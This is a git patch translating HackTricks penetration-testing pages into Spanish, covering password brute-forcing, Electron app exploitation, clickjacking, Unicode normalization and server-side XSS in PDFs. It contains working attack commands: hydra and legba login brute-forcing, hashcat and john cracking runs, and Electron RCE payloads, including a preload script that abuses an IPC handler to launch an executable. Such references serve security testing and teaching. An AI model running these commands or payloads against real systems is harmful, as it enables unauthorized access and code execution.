From f3778ead9da88668d922654d91855099e3fbf487 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 9 Mar 2025 14:22:51 +0000 Subject: [PATCH] Translated ['src/generic-hacking/brute-force.md', 'src/network-services- --- src/generic-hacking/brute-force.md | 29 +++++---- .../electron-desktop-apps/README.md | 60 +++++++++++++------ src/pentesting-web/clickjacking.md | 14 +++-- .../unicode-normalization.md | 28 ++++++--- .../server-side-xss-dynamic-pdf.md | 27 +++++++-- 5 files changed, 112 insertions(+), 46 deletions(-) diff --git a/src/generic-hacking/brute-force.md b/src/generic-hacking/brute-force.md index 23a2847df..cf2123e82 100644 --- a/src/generic-hacking/brute-force.md +++ b/src/generic-hacking/brute-force.md @@ -34,9 +34,16 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars ^ Special characters including spac crunch 6 8 -t ,@@^^%% ``` -### Cewl +### Listas de palabras basadas en sitios web ```bash +# Cewl gets words from the victims page cewl example.com -m 5 -w words.txt + +# Tok (https://github.com/tomnomnom/hacks/tree/master/tok) gets words from a list of URLs +cat /path/to/urls.txt | tok + +# https://github.com/m4ll0k/BBTz/blob/master/getjswords.py gets words from a list of JS URLs +cat /path/to/js-urls.txt | python3 getjswords.py ``` ### [CUPP](https://github.com/Mebus/cupp) @@ -149,7 +156,7 @@ legba http.ntlm2 --domain example.org --workstation client --username admin --pa hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V # Use https-post-form mode for https ``` -Para http**s** tienes que cambiar de "http-post-form" a "**https-post-form"** +Para http**s** tienes que cambiar de "http-post-form" a "**https-post-form**" ### **HTTP - CMS --** (W)ordpress, (J)oomla o (D)rupal o (M)oodle ```bash @@ -275,7 +282,7 @@ Para usar **oracle_login** con **patator** necesitas **instalar**: ```bash pip3 install cx_Oracle --upgrade ``` -[Brute force de hash de OracleSQL offline](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versiones 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** y **11.2.0.3**): +[Offline OracleSQL hash bruteforce](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versiones 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** y **11.2.0.3**): ```bash nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 ``` @@ -332,6 +339,8 @@ hydra -l -P rlogin:// -v -V ```bash hydra -L rsh:// -v -V ``` +[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind) + ### Rsync ```bash nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 @@ -393,7 +402,7 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ ``` #### Claves SSH débiles / PRNG predecible de Debian -Algunos sistemas tienen fallas conocidas en la semilla aleatoria utilizada para generar material criptográfico. Esto puede resultar en un espacio de claves drásticamente reducido que puede ser atacado por fuerza bruta con herramientas como [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). También están disponibles conjuntos pre-generados de claves débiles como [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). +Algunos sistemas tienen fallos conocidos en la semilla aleatoria utilizada para generar material criptográfico. Esto puede resultar en un espacio de claves drásticamente reducido que puede ser atacado por fuerza bruta con herramientas como [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). También están disponibles conjuntos pre-generados de claves débiles como [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). ### STOMP (ActiveMQ, RabbitMQ, HornetQ y OpenMQ) @@ -471,7 +480,7 @@ hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt ``` #### Ataque de zip con texto plano conocido -Necesitas conocer el **texto plano** (o parte del texto plano) **de un archivo contenido dentro** del zip encriptado. Puedes verificar **nombres de archivos y el tamaño de los archivos contenidos dentro** de un zip encriptado ejecutando: **`7z l encrypted.zip`**\ +Necesitas conocer el **texto plano** (o parte del texto plano) **de un archivo contenido dentro** del zip encriptado. Puedes verificar **nombres de archivos y tamaño de archivos contenidos dentro** de un zip encriptado ejecutando: **`7z l encrypted.zip`**\ Descarga [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) de la página de lanzamientos. ```bash # You need to create a zip file containing only the file that is inside the encrypted zip @@ -520,7 +529,7 @@ python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5h python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john john jwt.john #It does not work with Kali-John ``` -### Cracking de NTLM +### Cracking NTLM ```bash Format:USUARIO:ID:HASH_LM:HASH_NT::: john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes @@ -540,7 +549,7 @@ john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ``` -### Imagen de Luks +### Lucks image #### Método 1 @@ -624,7 +633,7 @@ hash-identifier ```bash kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt ``` -### Mutación de John +### John mutation Lee _**/etc/john/john.conf**_ y configúralo ```bash @@ -633,7 +642,7 @@ john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules ``` ### Hashcat -#### Ataques de Hashcat +#### Hashcat ataques - **Ataque de lista de palabras** (`-a 0`) con reglas @@ -687,7 +696,7 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1 ## Use it to crack the password hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask ``` -- Ataque de lista de palabras + máscara (`-a 6`) / ataque de máscara + lista de palabras (`-a 7`) +- Lista de palabras + Máscara (`-a 6`) / Máscara + Lista de palabras (`-a 7`) ataque ```bash # Mask numbers will be appended to each word in the wordlist hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index 71ec27c03..f80f57519 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -1,4 +1,4 @@ -# Electron Desktop Apps +# Aplicaciones de Escritorio Electron {{#include ../../../banners/hacktricks-training.md}} @@ -32,18 +32,18 @@ let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` -La configuración del **proceso de renderizado** se puede **configurar** en el **proceso principal** dentro del archivo main.js. Algunas de las configuraciones **prevenirán que la aplicación Electron obtenga RCE** u otras vulnerabilidades si las **configuraciones están correctamente establecidas**. +Los ajustes del **renderer process** se pueden **configurar** en el **main process** dentro del archivo main.js. Algunas de las configuraciones **prevenirán que la aplicación Electron obtenga RCE** u otras vulnerabilidades si los **ajustes están correctamente configurados**. La aplicación Electron **podría acceder al dispositivo** a través de las APIs de Node, aunque se puede configurar para prevenirlo: -- **`nodeIntegration`** - está `desactivado` por defecto. Si está activado, permite acceder a las características de Node desde el proceso de renderizado. -- **`contextIsolation`** - está `activado` por defecto. Si está desactivado, los procesos principal y de renderizado no están aislados. +- **`nodeIntegration`** - está `desactivado` por defecto. Si está activado, permite acceder a las características de Node desde el renderer process. +- **`contextIsolation`** - está `activado` por defecto. Si está desactivado, los procesos principal y renderer no están aislados. - **`preload`** - vacío por defecto. - [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - está desactivado por defecto. Restringirá las acciones que NodeJS puede realizar. -- Integración de Node en Trabajadores +- Integración de Node en Workers - **`nodeIntegrationInSubframes`** - está `desactivado` por defecto. -- Si **`nodeIntegration`** está **activado**, esto permitiría el uso de **APIs de Node.js** en páginas web que están **cargadas en iframes** dentro de una aplicación Electron. -- Si **`nodeIntegration`** está **desactivado**, entonces los preloads se cargarán en el iframe. +- Si **`nodeIntegration`** está **habilitado**, esto permitiría el uso de **Node.js APIs** en páginas web que están **cargadas en iframes** dentro de una aplicación Electron. +- Si **`nodeIntegration`** está **deshabilitado**, entonces los preloads se cargarán en el iframe. Ejemplo de configuración: ```javascript @@ -123,7 +123,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app") ## RCE: preload -El script indicado en esta configuración se **carga antes que otros scripts en el renderer**, por lo que tiene **acceso ilimitado a las APIs de Node**: +El script indicado en esta configuración se **carga antes que otros scripts en el renderizador**, por lo que tiene **acceso ilimitado a las API de Node**: ```javascript new BrowserWindow{ webPreferences: { @@ -158,7 +158,7 @@ Si los contextos no están aislados, un atacante puede: 1. Ejecutar **JavaScript arbitrario en el renderer** (XSS o navegación a sitios externos) 2. **Sobrescribir el método incorporado** que se utiliza en el preload o en el código interno de Electron para su propia función -3. **Activar** el uso de **la función sobrescrita** +3. **Activar** el uso de la **función sobrescrita** 4. ¿RCE? Hay 2 lugares donde los métodos incorporados pueden ser sobrescritos: En el código de preload o en el código interno de Electron: @@ -224,6 +224,27 @@ window.open( ) ``` +## RCE: webviewTag + vulnerable preload IPC + shell.openExternal + +Esta vulnerabilidad se puede encontrar en **[este informe](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**. + +El **webviewTag** es una **característica obsoleta** que permite el uso de **NodeJS** en el **proceso de renderizado**, que debería estar deshabilitada ya que permite cargar un script dentro del contexto de precarga como: +```xml + +``` +Por lo tanto, un atacante que logre cargar una página arbitraria podría usar esa etiqueta para **cargar un script de precarga arbitrario**. + +Este script de precarga fue abusado para llamar a un **servicio IPC vulnerable (`skype-new-window`)** que estaba llamando a **`shell.openExternal`** para obtener RCE: +```javascript +(async() => { +const { ipcRenderer } = require("electron"); +await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH"); +setTimeout(async () => { +const username = process.execPath.match(/C:\\Users\\([^\\]+)/); +await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`); +}, 5000); +})(); +``` ## Lectura de Archivos Internos: XSS + contextIsolation **Deshabilitar `contextIsolation` permite el uso de `` tags**, similar a `') @@ -32,10 +32,26 @@ Además, ten en cuenta que en una explotación regular podrás **ver/descargar e + + + + + + + + + + + + +